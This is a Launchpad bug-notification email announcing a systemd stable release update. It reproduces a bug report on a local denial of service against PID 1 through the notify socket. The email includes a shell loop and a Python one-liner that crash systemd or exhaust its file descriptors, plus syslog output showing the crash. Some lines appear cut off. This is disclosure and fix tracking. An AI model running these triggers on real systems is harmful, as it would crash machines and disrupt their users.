The verification of the Stable Release Update for systemd has completed
successfully and the package has now been released to -updates.
Subsequently, the Ubuntu Stable Release Updates Team is being
unsubscribed and will not receive messages about this bug report. In
the event that you encounter a regression using the package from
-updates please report a new bug using ubuntu-bug and tag the bug report
regression-update so we can easily find any regressions.
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
Assertion failure when PID 1 receives a zero-length message over
Status in systemd:
Status in systemd package in Ubuntu:
Status in systemd source package in Xenial:
Status in systemd source package in Yakkety:
Systemd fails an assertion in manager_invoke_notify_message when a
zero-length message is received over /run/systemd/notify. This allows
a local user to perform a denial-of-service attack against PID 1.
How to trigger the bug:
$ while true; do NOTIFY_SOCKET=/run/systemd/notify systemd-notify "";
The following entries are written into /var/log/syslog, at this point
systemd is crashed.
Sep 28 20:57:20 ubuntu systemd: Started User Manager for UID 1000.
Sep 28 20:57:28 ubuntu systemd: Assertion 'n > 0' failed at
../src/core/manager.c:1501, function manager_invoke_notify_message(). Aborting.
Sep 28 20:57:29 ubuntu systemd: Caught <ABRT>, dumped core as pid 1307.
Sep 28 20:57:29 ubuntu systemd: Freezing execution.
Public bug: https://github.com/systemd/systemd/issues/4234
The original USN/security fix in
another local DoS due to fd exhaustion:
NOTIFY_SOCKET=/run/systemd/notify python3 -c 'from systemd import
daemon; daemon.notify("", fds=*100)'
Run this a few times and watch "sudo ls -l /proc/1/fd" grow.
To manage notifications about this bug go to:
Mailing list: https://launchpad.net/~touch-packages
Post to : email@example.com
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp